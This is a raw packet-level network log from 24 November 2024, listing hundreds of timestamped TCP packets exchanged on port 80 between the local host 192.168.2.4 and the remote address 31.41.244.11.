Nov 24, 2024 14:24:21.212768078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.212853909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.212898016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.213664055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.213712931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.213752031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.213794947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.214653969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.214703083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.214783907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.214826107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.215498924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.215547085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.215609074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.215656042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.216422081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.216468096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.216543913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.216587067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.217351913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.217398882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.217521906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.217570066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.218285084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.218331099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.218381882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.218425989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.219237089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.219279051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.219327927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.219374895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.220149040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.220206976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.220257044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.220307112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.221082926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.221139908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.221196890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.221241951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.222057104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.222131014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.222174883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.222220898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.222990990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.223038912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.223131895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.223181009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.223954916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.224033117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.224057913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.224107981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.224862099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.224919081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.224956036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.224999905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.225806952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.225855112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.225887060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.225930929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.226721048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.226768017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.226907969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.226955891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.227670908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.227719069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.227778912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.227821112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.228643894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.228691101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.228723049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.228768110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.229566097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.229614019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.229738951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.229783058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.230468035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.230523109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.230555058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.230597973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.231376886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.231424093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.231523991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.231566906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.232357025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.232404947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.232430935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.232469082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.233222961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.233292103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.233328104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.233374119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.234178066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.234247923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.234298944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.234349966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.235117912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.235177040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.235234022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.235275984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.236092091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.236148119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.236166954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.236215115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.236963987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.237029076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.237071991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.237133026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.237926006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.237982035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.238068104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.238132000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.238894939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.238949060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.239047050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.239095926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.239793062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.239840031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.239881992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.239928961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.240717888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.240775108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.240808010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.240850925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.241633892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.241700888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.241790056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.241832972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.242579937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.242633104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.242700100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.242747068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.243534088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.243587971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.243628979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.243674040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.244440079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.244494915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.396611929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.396708965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.396887064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.396944046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.397098064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.397150993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.397227049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.397279024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.397456884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.397507906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.398145914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.398194075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.398233891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.398274899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.399036884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.399087906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.399183035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.399235010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.400026083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.400037050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.400074959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.400106907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.400918007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.400974035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.401010990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.401088953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.401890993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.401937008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.401953936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.402004957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.402785063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.402829885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.402913094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.402968884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.403804064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.403862000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.403879881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.403938055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.404687881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.404742002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.404742956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.404793024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.405612946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.405664921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.405697107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.405749083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.406522036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.406579971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.406699896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.406752110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.407478094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.407530069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.407598972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.407654047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.408397913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.408459902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.408538103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.408593893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.409522057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.409565926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.409579992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.409610033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.410310030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.410362959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.410402060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.410450935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.411254883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.411309004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.411346912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.411401987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.412154913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.412208080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.412265062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.412314892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.413108110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.413161039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.413219929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.413269043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.414096117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.414150000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.414200068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.414246082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.414983988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.415035963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.415069103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.415118933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.415873051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.415920973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.416009903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.416074038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.416811943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.416862011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.416897058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.416944027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.417752981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.417804956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.417908907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.417957067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.418721914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.418781996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.418806076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.418854952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.419605970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.419656992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.419723988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.419771910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.420586109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.420636892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.420658112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.420706034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.421516895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.421566963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.421668053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.421725988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.422421932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.422470093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.422507048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.422557116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.423355103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.423407078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.423544884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.423588037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.424278975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.424345016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.424393892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.424442053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.425429106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.425479889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.425544024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.425591946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.426326990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.426378965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.426443100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.426490068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.427154064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.427206039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.427248001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.427309990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.428024054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.428076982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.428113937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.428163052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.429045916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.429094076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.429114103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.429162979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.429872036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.429922104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.429986000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.430035114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.430882931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.430921078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.430934906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.430963993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.431865931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.431921959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.431952953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.432003975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.432708979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.432771921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.432812929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.432861090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.433655977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.433710098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.433737040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.433785915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.434581041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.434628010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.434731960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.434784889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.435513973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.435561895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.435637951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.435686111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.436417103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.436470032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.436534882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.436583996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.437381983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.437434912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.437486887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.437535048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.438285112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.438354015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.438397884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.438448906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.439368010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.439420938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.439507008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.439554930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.440186977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.440238953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.440268993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.440316916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.441113949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.441167116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.441226959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.441278934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.442053080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.442121983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.442154884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.442204952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.442964077 CET	80	49778	31.41.244.11	192.168.2.4
